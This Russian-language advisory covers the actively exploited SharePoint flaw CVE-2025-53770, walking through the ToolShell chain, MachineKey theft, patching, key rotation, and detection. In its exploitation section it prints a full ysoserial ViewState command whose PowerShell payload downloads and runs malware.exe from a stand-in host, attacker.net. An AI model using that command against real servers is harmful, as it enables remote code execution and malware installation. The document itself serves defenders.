🆘 Критичная уязвимость в SharePoint под угрозой!

Админы, срочно патчим SharePoint! Обнаружена дыра с рейтингом опасности 9.8 ⚠️, которую уже вовсю эксплуатируют хакеры по всему миру. Злоумышленники крадут учетные данные для привилегированного доступа к корпоративным сетям. Особо рискуют юрлица и госорганы, использующие платформу. Специалисты советуют немедленно обновить системы и усилить мониторинг подозрительной активности. Игнорирование = прямой риск утечек данных и финансовых потерь. 🔐💻

Executive Technical Summary

Экспертный анализ угрозы: Активно эксплуатируемая уязвимость в Microsoft SharePoint Server (CVE-2025-53770, CVSS 9.8) позволяет неаутентифицированным злоумышленникам удаленно выполнять код (RCE) и похищать критически важные аутентификационные токены. Уязвимость затрагивает локальные (on-premises) развертывания SharePoint Subscription Edition, SharePoint 2019 и SharePoint 2016. Установка патчей — необходимая, но недостаточная мера: организации должны срочно ротировать ключи шифрования ASP.NET (MachineKey/ValidationKey) и перезапускать IIS. Атаки, зафиксированные Eye Security и CISA, используют цепочку эксплойтов (CVE-2025-49706 + CVE-2025-49704) для извлечения ключей из памяти, что делает возможной генерацию валидных __VIEWSTATE-токенов и персистентный доступ к корпоративным сетям без аутентификации.

Технический Deep-Dive: Механизм эксплуатации CVE-2025-53770

Архитектурный контекст: Уязвимость основана на уязвимости десериализации в ASP.NET ViewState. SharePoint использует параметры MachineKey (ValidationKey, ValidationAlgorithm) для подписи и шифрования состояния страницы (__VIEWSTATE), предотвращая подделку.

Эксплуатационная цепочка ToolShell (CVE-2025-49706 + CVE-2025-49704):

1. Неаутентифицированный доступ: Атакующий использует уязвимость в SharePoint для внедрения специализированного веб-шелла ToolShell.
2. Извлечение криптографических ключей: ToolShell обращается к конфигурации .NET (web.config) или памяти сервера, извлечая секретный ValidationKey.
3. Генерация вредоносных токенов: С помощью инструмента ysoserial и украденного ключа злоумышленник генерирует подписанные __VIEWSTATE-токены, внедряющие произвольный код:

   # Пример генерации RCE-токена с помощью ysoserial (адаптировано под атаку):
   ysoserial.exe -p ViewState -g TypeConfuseDelegate \
   -c "powershell -nop -c \"$client = New-Object System.Net.WebClient; $client.DownloadFile('http://attacker.net/malware.exe', 'C:\\Windows\\Temp\\malware.exe'); Start-Process 'C:\\Windows\\Temp\\malware.exe'\"" \
   --generator="VALUE_FROM_SHAREPOINT" \
   --validationkey="STOLEN_KEY" \
   --validationalg="SHA1" \
   --islegacy \
   --minify

4. RCE через подмену токена: Сгенерированный токен передается через параметр __VIEWSTATE любого запроса к SharePoint (например, /_layouts/15/start.aspx), что приводит к десериализации и выполнению встроенной команды.

Ключевые инженерные компромиссы: Патчи Microsoft (KB500…) блокируют первоначальный вектор инъекции, но не меняют архитектурную зависимость от MachineKey. Извлечение ключа делает всю систему доверенных токенов уязвимой.

Тактика ответных мер и восстановление

Немедленные действия (Post-Exploitation Response):

1. Патчинг (Необходимый минимум): Установите обновления Microsoft для SharePoint Subscription Edition и 2019. Для SharePoint 2016 примените обходное решение через AMSI (Antimalware Scan Interface).
2. Критический этап: Ротация MachineKey: Обновление НЕ аннулирует украденные ключи. Требуется:
   • Сгенерировать новые значения validationKey и decryptionKey в разделе ` ` файла `web.config` на ВСЕХ серверах SharePoint и приложений, использующих единую конфигурацию MachineKey.
   • Полностью перезапустить пулы приложений (Application Pools) и службу IIS (iisreset /noforce).
   • Важно: Обновите web.config на всех нодах фермы синхронно перед перезапуском IIS.

     <!-- Пример обновленного MachineKey в web.config -->
     <system.web>
     ...
     <machineKey 
     validationKey="NEW_AES_256_KEY_GENERATED_WITH_KMU"
     decryptionKey="NEW_AES_192_KEY_GENERATED_WITH_KMU" 
     validation="SHA1" 
     decryption="AES" />
     ...
     </system.web>

3. Очистка и расследование:
   • Поиск IOC: Анализ логов IIS на предмет аномальных запросов к /_layouts/15/*.aspx с подозрительно длинными параметрами __VIEWSTATE. Поиск файлов aspx с необычными именами или метками времени.
   • Проверка систем на наличие ToolShell (ориентиры: Eye Security, CISA).
   • Мониторинг исходящих соединений с серверов SharePoint.
   • Ротация всех учетных данных (пользовательские, сервисные, прикладные), хранящихся или доступных скомпрометированным серверам. Мониторинг активности привилегированных учеток.

Анализ производительности и рисков

Оценочные метрики:

• Скорость эксплуатации: Массовые атаки зафиксированы в течение 48 часов после публикации деталей.
• Глубина доступа: Компрометация MachineKey предоставляет эквивалент прав приложения SharePoint (высокие привилегии). Последующее RCE — полный контроль над сервером.
• Latency реакции: Период от CVE до патча: ~3 дня (с учетом предварительных частичных патчей). Период массовых атак: <24 часов после патча.
• Риск для SharePoint 2016: Отсутствие полного патча повышает риск компрометации через альтернативные векторы даже с AMSI.

Экспертные рекомендации для Enterprise

1. Проактивный Hardening:
   • Рестриктивный доступ: Ограничьте доступ к SharePoint-портам (TCP/443) только доверенным IP-адресам, исключив прямой доступ из Интернета. Используйте VPN или реверс-прокси с жесткой аутентификацией.
   • Регулярная ротация MachineKey: Включите в цикл управления конфигурацией (например, ежеквартально).
   • Отключение ненужных возможностей: Минимизируйте поверхности атаки удалением неиспользуемых модулей SharePoint.
2. Мониторинг и обнаружение:
   • Внедрение SIEM-правил для детектирования аномальных запросов с длинными __VIEWSTATE, вызовов ysoserial или сомнительных HTTP-запросов к /_layouts/15/*.
   • Базлайнинг и контроль целостности файлов (FIM) для web.config и системных ASPX-страниц.
   • Расширенная телеметрия .NET (например, через Application Insights) для мониторинга исключений десериализации.
3. Архитектурные улучшения:
   • Рассмотрите миграцию на SharePoint Online (не уязвим), если on-premises функционал не критичен.
   • Изоляция ферм SharePoint в выделенных сегментах сети с strict egress filtering.
   • Внедрение Runtime Application Self-Protection (RASP) для ASP.NET для детекта и блокировки эксплойтов десериализации.

Заключение и прогноз

Оценка зрелости ответа: Текущая ситуация демонстрирует критическую зависимость безопасности SharePoint (и ASP.NET) от секретности MachineKey. Несмотря на патчи, архитектурный риск десериализации сохраняется. Организации, не выполнившие ротацию ключей ПЕРЕД патчингом, остаются уязвимыми к RCE.

Прогноз: Ожидается рост атак, нацеленных на системы, где установлены патчи, но не ротированы MachineKey. Уязвимость будет активно использоваться в цепочках компрометации для продвинутого APT-таргетирования и установки ransomware. Индустрия пересмотрит практики управления криптографическими ключами в ASP.NET инфраструктуре. Решения класса Zero Trust Network Access (ZTNA) получат дополнительный импульс для защиты унаследованных веб-приложений.